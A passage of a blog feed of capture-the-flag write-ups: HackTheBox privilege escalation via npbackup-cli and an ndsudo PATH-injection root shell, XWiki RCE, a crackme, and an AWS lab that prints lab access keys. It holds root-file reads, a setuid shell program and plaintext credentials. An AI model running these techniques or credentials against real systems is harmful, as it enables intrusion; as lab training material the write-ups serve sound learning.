  no_cert_verify: false
global_options:
  auto_upgrade: false
  auto_upgrade_percent_chance: 5
  auto_upgrade_interval: 15
  auto_upgrade_server_url:
  auto_upgrade_server_username:
  auto_upgrade_server_password:
  auto_upgrade_host_identity: ${MACHINE_ID}
  auto_upgrade_group: ${MACHINE_GROUP}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Privilege Escalation Strategy&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I modified the configuration file to target the &lt;code&gt;/root&lt;/code&gt; directory instead of the default application path:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;paths:
      - /root
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Root Access Execution&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Step 1: Execute Backup with Modified Configuration&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;sudo /usr/local/bin/npbackup-cli -c npbackup.conf -b -f
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Step 2: Extract Root Flag Using Dump Feature&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;sudo /usr/local/bin/npbackup-cli -c npbackup.conf --dump /root/root.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827221351.png&quot; alt=&quot;Pasted image 20250827221351.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Root Flag Successfully Retrieved:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;e7ff41c9ff2b0ae691783c04259b6e2a
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Attack Summary and Key Takeaways&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;This penetration test demonstrated a complete compromise chain from initial reconnaissance to full root access:&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Information Gathering&lt;/strong&gt;: Port scanning revealed limited attack surface&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web Application Analysis&lt;/strong&gt;: Source code disclosure provided critical vulnerability intelligence&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Exploitation&lt;/strong&gt;: CVE-2024-28397 in js2py enabled initial access&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lateral Movement&lt;/strong&gt;: Database credential extraction facilitated user account compromise&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Privilege Escalation&lt;/strong&gt;: Misconfigured sudo permissions allowed root access through backup tool abuse&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>HTB Machine Editor August 2025</title><link>https://fuwari.vercel.app/posts/htb-machine-editor/notes/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/htb-machine-editor/notes/</guid><description>Writeup of HTB Editor Machine.</description><pubDate>Thu, 14 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Scanning&lt;/h1&gt;
&lt;h2&gt;Rustscan&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Rustscan revealed three open ports:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;22&lt;/code&gt; – SSH&lt;/li&gt;
&lt;li&gt;&lt;code&gt;80&lt;/code&gt; – HTTP service on the root domain &lt;code&gt;(editor.htb)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;8080&lt;/code&gt; – Another HTTP service running on a subdomain &lt;code&gt;(wiki.editor.htb)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250814104600.png&quot; alt=&quot;Pasted image 20250814104600.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# Nmap 7.94SVN scan initiated Thu Aug 14 10:38:27 2025 as: 
nmap -Pn -p- --min-rate 2000 -sC -sV -oA nmap/initials -vvv 10.10.11.80

Increasing send delay for 10.10.11.80 from 0 to 5 due to 14 out of 45 dropped probes...
...
Nmap scan report for wiki.editor.htb (10.10.11.80)
Host is up, received user-set (0.31s latency).
Scanned at 2025-08-14 10:38:27 IST for 281s
Not shown: 34463 closed tcp ports (conn-refused), 31069 filtered tcp ports (no-response)
PORT     STATE SERVICE    REASON  VERSION
22/tcp   open  tcpwrapped syn-ack
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp   open  tcpwrapped syn-ack
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open  tcpwrapped syn-ack
|_http-server-header: Jetty(10.0.20)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Nmap scan confirms what Rustscan reported, but also provides additional details about the services running behind these ports.&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Enumeration&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Port 80&lt;/strong&gt; &lt;code&gt;(http://editor.htb)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;The page looked like a typical static website with nothing particularly interesting.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815172542.png&quot; alt=&quot;Pasted image 20250815172542.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Port 8080&lt;/strong&gt; &lt;code&gt;(http://wiki.editor.htb/)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;This page revealed that the service is running &lt;strong&gt;XWiki Debian 15.10.8&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;From here, the natural next step was to look for known vulnerabilities or exploits affecting this specific version.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815172800.png&quot; alt=&quot;Pasted image 20250815172800.png&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;p&gt;After some quick searching, I discovered that this version of &lt;strong&gt;XWiki&lt;/strong&gt; is vulnerable to &lt;strong&gt;RCE (Remote Code Execution)&lt;/strong&gt;.&lt;br /&gt;
I found a working &lt;a href=&quot;https://github.com/Infinit3i/CVE-2025-24893&quot;&gt;POC&lt;/a&gt; and decided to adapt it for my target.&lt;/p&gt;
&lt;h2&gt;Setting up the POC&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I customized the exploit with target-specific details.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815173143.png&quot; alt=&quot;Pasted image 20250815173143.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Testing a simple command like &lt;code&gt;id&lt;/code&gt; gave me a valid response, confirming &lt;strong&gt;command execution worked&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815173811.png&quot; alt=&quot;Pasted image 20250815173811.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815173844.png&quot; alt=&quot;Pasted image 20250815173844.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Getting a Service Reverse Shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I then moved on to getting a reverse shell for a more stable foothold.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815174219.png&quot; alt=&quot;Pasted image 20250815174219.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815174257.png&quot; alt=&quot;Pasted image 20250815174257.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To make the shell interactive and stable, I upgraded it using:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/bin/bash -i
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Post-Exploitation Enumeration&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;My initial thought was to look for &lt;strong&gt;hardcoded credentials&lt;/strong&gt;, since many easy boxes hide passwords in common configuration files.&lt;/li&gt;
&lt;li&gt;I asked GPT for common file names, and it pointed me to &lt;code&gt;hibernate.cfg.xml&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815174804.png&quot; alt=&quot;Pasted image 20250815174804.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The file existed on the system:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815175046.png&quot; alt=&quot;Pasted image 20250815175046.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Inside, I found the following credentials:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;property name=&quot;hibernate.connection.username&quot;&amp;gt;xwiki&amp;lt;/property&amp;gt;
&amp;lt;property name=&quot;hibernate.connection.password&quot;&amp;gt;theEd1t0rTeam99&amp;lt;/property&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;So, the credentials were:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Username:&lt;/strong&gt; &lt;code&gt;xwiki&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password:&lt;/strong&gt; &lt;code&gt;theEd1t0rTeam99&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;These looked like database credentials, so I attempted to log into MySQL using them.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;Accessing MySQL&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;mysql -u xwiki -p xwiki
Enter password: theEd1t0rTeam99
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;I successfully logged in and enumerated the databases and tables.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815175928.png&quot; alt=&quot;Pasted image 20250815175928.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Unfortunately, while I could explore the &lt;code&gt;xwiki&lt;/code&gt; database, the table &lt;code&gt;xwikiusers&lt;/code&gt; didn’t exist. So no direct user creds were available from MySQL.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Thinking Outside the Box&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;At this point, I stepped back and thought about &lt;strong&gt;password reuse&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;I already knew of a system user named &lt;code&gt;oliver&lt;/code&gt;. Out of curiosity, I tried:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;oliver : theEd1t0rTeam99
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;And surprisingly, it worked! 🎉&lt;/li&gt;
&lt;li&gt;This confirmed a &lt;strong&gt;password reuse vulnerability&lt;/strong&gt;. While it may look like guesswork, this is actually very realistic, since many real-world systems fall victim to reused credentials.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815175928.png&quot; alt=&quot;Pasted image 20250815175928.png&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Getting User Shell via SSH&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Using the reused password, I logged in as &lt;code&gt;oliver&lt;/code&gt; via SSH and captured the &lt;strong&gt;user flag&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815180222.png&quot; alt=&quot;Pasted image 20250815180222.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;91955630da7c314861c7b745f8c22a70
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Post Exploitation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;I proceeded with typical privilege escalation checks:
&lt;ul&gt;
&lt;li&gt;Running &lt;code&gt;sudo -l&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Searching for SUID binaries&lt;/li&gt;
&lt;li&gt;Checking network connections&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815181012.png&quot; alt=&quot;Pasted image 20250815181012.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815181154.png&quot; alt=&quot;Pasted image 20250815181154.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;At first, nothing looked promising. I also tried kernel exploits for &lt;code&gt;Linux editor 5.15.0-151-generic&lt;/code&gt;, but none of them worked.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815181541.png&quot; alt=&quot;Pasted image 20250815181541.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So, I switched to &lt;code&gt;linpeas&lt;/code&gt; for a deeper scan.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815183153.png&quot; alt=&quot;Pasted image 20250815183153.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Interestingly, I discovered an unusual SUID binary called &lt;code&gt;ndsudo&lt;/code&gt;. I had overlooked it earlier, but this was clearly the key to privilege escalation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815184003.png&quot; alt=&quot;Pasted image 20250815184003.png&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Understanding the Binary&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I examined &lt;code&gt;ndsudo&lt;/code&gt; to understand its purpose. It allowed running specific commands, but it wasn’t a standard privilege escalation tool.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815184105.png&quot; alt=&quot;Pasted image 20250815184105.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250815184236.png&quot; alt=&quot;Pasted image 20250815184236.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;After digging deeper (with GPT’s help), I found that it was vulnerable to &lt;strong&gt;CVE-2024-32019&lt;/strong&gt;. A public POC was available: &lt;a href=&quot;https://github.com/AliElKhatteb/CVE-2024-32019-POC&quot;&gt;CVE-2024-32019-POC&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Although I didn’t use the exact exploit, I used it as inspiration.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Gaining Root Shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I created a small C program that forces the UID and GID to root, then spawns a shell:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;  // setuid, setgid, execl
#include &amp;lt;stddef.h&amp;gt;  // NULL

int main() {
    setuid(0);   // force UID to root
    setgid(0);   // force GID to root group
    execl(&quot;/bin/bash&quot;, &quot;bash&quot;, NULL);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Compiled it with:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;x86_64-linux-gnu-gcc -o nvme exploit.c -static 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Then transferred it to the target, made it executable, and exploited the &lt;code&gt;PATH&lt;/code&gt; injection trick by modifying &lt;code&gt;$PATH&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;PATH=$(pwd):$PATH
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Finally, I executed &lt;code&gt;ndsudo&lt;/code&gt; with my custom binary and popped a &lt;strong&gt;root shell&lt;/strong&gt;. 🚀&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
</content:encoded></item><item><title>Crackme - TeRrArIsT&apos;s Easy, but interesting for novice August 2025</title><link>https://fuwari.vercel.app/posts/crackme---terrarists-easy-but-interesting-for-novice/writeup/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/crackme---terrarists-easy-but-interesting-for-novice/writeup/</guid><description>Writeup of Crackme.</description><pubDate>Wed, 13 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Challenge Info&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250813185600.png&quot; alt=&quot;Pasted image 20250813185600.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;File Info&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;This is a &lt;strong&gt;64-bit executable file&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250813185643.png&quot; alt=&quot;Pasted image 20250813185643.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Testing Inputs&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;I started by testing with the string &lt;code&gt;&quot;TEST&quot;&lt;/code&gt; as input.&lt;/li&gt;
&lt;li&gt;The program responded with &lt;strong&gt;Access Denied&lt;/strong&gt;, which suggests it’s validating the input against a different, predefined string. We can clearly observe this in IDA.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250813185843.png&quot; alt=&quot;Pasted image 20250813185843.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IDA View:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250813185855.png&quot; alt=&quot;Pasted image 20250813185855.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Pseudocode (IDA-generated):&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250813185941.png&quot; alt=&quot;Pasted image 20250813185941.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  char Str2[8]; // [rsp+21h] [rbp-2Fh] BYREF
  _BYTE v5[7]; // [rsp+29h] [rbp-27h] BYREF
  char Str1[32]; // [rsp+30h] [rbp-20h] BYREF

  _main(argc, argv, envp);
  *(_DWORD *)v5 = 1129925455;
  *(_DWORD *)&amp;amp;v5[3] = 421010243;
  decrypt(Str2, v5, 42, 7);
  _mingw_printf(&quot;Enter password: &quot;);
  _mingw_scanf(&quot;%31s&quot;, Str1);
  if ( !strcmp(Str1, Str2) )
    puts(&quot;Access granted!&quot;);
  else
    puts(&quot;Access denied!&quot;);
  getch();
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;To investigate further, I used &lt;strong&gt;x64dbg&lt;/strong&gt; and began searching for &lt;strong&gt;static strings&lt;/strong&gt; that could help in pinpointing the password verification logic.&lt;br /&gt;
Examples include:
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;&quot;Access granted!&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;Access denied!&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;References to &lt;code&gt;strcmp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Other suspicious instructions that might hint at password handling.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250813190102.png&quot; alt=&quot;Pasted image 20250813190102.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After setting breakpoints, I ran the program until it hit the relevant instruction.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250813191420.png&quot; alt=&quot;Pasted image 20250813191420.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;At this point, I entered the test input string: &lt;strong&gt;&lt;code&gt;JEEL&lt;/code&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250813191453.png&quot; alt=&quot;Pasted image 20250813191453.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I then continued execution to the section where the &lt;strong&gt;string comparison&lt;/strong&gt; occurs.&lt;br /&gt;
These instructions are particularly interesting because they load the two strings into registers before the &lt;code&gt;strcmp&lt;/code&gt; call:
&lt;ul&gt;
&lt;li&gt;First string → &lt;code&gt;RDX&lt;/code&gt; (the user’s input)&lt;/li&gt;
&lt;li&gt;Second string → &lt;code&gt;RAX&lt;/code&gt; (the stored, correct password)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250813190341.png&quot; alt=&quot;Pasted image 20250813190341.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;strcmp&lt;/code&gt; Call Instruction:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250813190322.png&quot; alt=&quot;Pasted image 20250813190322.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Register values at the moment of comparison:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;User’s input: &lt;code&gt;&quot;JEEL&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Stored password: &lt;code&gt;&quot;easi123&quot;&lt;/code&gt; — which is the correct key/flag for the program.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250813191247.png&quot; alt=&quot;Pasted image 20250813191247.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250813191343.png&quot; alt=&quot;Pasted image 20250813191343.png&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Pwnedlabs Machine Identify the AWS Account ID from a Public S3 Bucket June 2025</title><link>https://fuwari.vercel.app/posts/identify-the-aws-account-id-from-a-public-s3-bucket/notes/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/identify-the-aws-account-id-from-a-public-s3-bucket/notes/</guid><description>Writeup of Pwnedlabs Identify the AWS Account ID from a Public S3 Bucket Machine.</description><pubDate>Thu, 12 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;images/task.png&quot; alt=&quot;task.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Scenario&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;The ability to expose and leverage even the smallest oversights is a coveted skill in cybersecurity.&lt;/li&gt;
&lt;li&gt;A global Logistics Company has reached out to our cybersecurity firm for assistance and provided the IP address of their website.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Objective&lt;/strong&gt;: Start the engagement and use this IP address to identify their AWS account ID via a public S3 bucket to commence the enumeration process.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Real-World Context &amp;amp; Impact&lt;/h1&gt;
&lt;p&gt;Understanding the significance of AWS Account ID exposure is crucial for both attackers and defenders:&lt;/p&gt;
&lt;h2&gt;Attack Vectors with AWS Account ID:&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;IAM User/Role Enumeration&lt;/strong&gt;: Threat actors can identify IAM roles and users tied to the account by exploiting detailed error messages from AWS services&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Username/Role Verification&lt;/strong&gt;: AWS returns different error messages for non-existent vs. existing usernames/roles, allowing attackers to compile target lists&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Public Resource Discovery&lt;/strong&gt;: Filter public EBS and RDS snapshots by AWS Account ID ownership&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cross-Account Resource Access&lt;/strong&gt;: Attempt to access misconfigured resources that allow cross-account permissions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Social Engineering&lt;/strong&gt;: Use legitimate-looking AWS account information for targeted phishing campaigns&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Why This Matters:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;AWS Account IDs are meant to be semi-sensitive identifiers&lt;/li&gt;
&lt;li&gt;Once obtained, they provide a foundation for further AWS-specific reconnaissance&lt;/li&gt;
&lt;li&gt;Many organizations unknowingly expose these through misconfigured S3 buckets, CloudTrail logs, or web applications&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Scanning&lt;/h1&gt;
&lt;h2&gt;Rust Scan&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Initially attempted to use &lt;code&gt;rustscan&lt;/code&gt; on the target IP, but the tool became unresponsive and failed to provide nmap output&lt;/li&gt;
&lt;li&gt;This is a common issue with some network configurations or when targets have specific firewall rules&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;rustscan -a 54.204.171.32 -b 100 -- -A 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250612154527.png&quot; alt=&quot;Pasted image 20250612154527.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Proceeded with manual nmap scanning to identify open services:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -T5 -A -p80 -oA nmap/80 54.204.171.32 -Pn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250612154814.png&quot; alt=&quot;Pasted image 20250612154814.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scan Results Analysis:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Target is running Apache HTTP Server version 2.4.52&lt;/li&gt;
&lt;li&gt;Port 80 is open and serving web content&lt;/li&gt;
&lt;li&gt;Used &lt;code&gt;-Pn&lt;/code&gt; flag to skip host discovery (ping) as the target might be blocking ICMP packets&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;-A&lt;/code&gt; flag enables OS detection, version detection, script scanning, and traceroute&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;AWS Configuration&lt;/h1&gt;
&lt;h2&gt;Provided Credentials&lt;/h2&gt;
&lt;p&gt;The engagement provided the following AWS credentials:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;IP address: 54.204.171.32
Access key ID: AKIAWHEOTHRFW4CEP7HK
Secret access key: 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
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;AWS CLI Setup&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Installing and configuring AWS CLI with the provided credentials:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install awscli
aws configure 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250612151432.png&quot; alt=&quot;Pasted image 20250612151432.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Configuration Details:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Access Key ID: The public identifier for the AWS user&lt;/li&gt;
&lt;li&gt;Secret Access Key: The private key used for authentication&lt;/li&gt;
&lt;li&gt;Default region: Set to us-east-1 (common default)&lt;/li&gt;
&lt;li&gt;Output format: JSON for structured responses&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Credential Verification&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Verifying the credentials are valid and functional:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;aws sts get-caller-identity
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250612151621.png&quot; alt=&quot;Pasted image 20250612151621.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Response Analysis:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;UserId&quot;: &quot;AIDAWHEOTHRF62U7I6AWZ&quot;,
    &quot;Account&quot;: &quot;427648302155&quot;,
    &quot;Arn&quot;: &quot;arn:aws:iam::427648302155:user/s3user&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This reveals:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;UserId&lt;/strong&gt;: Unique identifier for the IAM user&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Account&lt;/strong&gt;: AWS Account ID (427648302155) - this is the account that owns these credentials&lt;/li&gt;
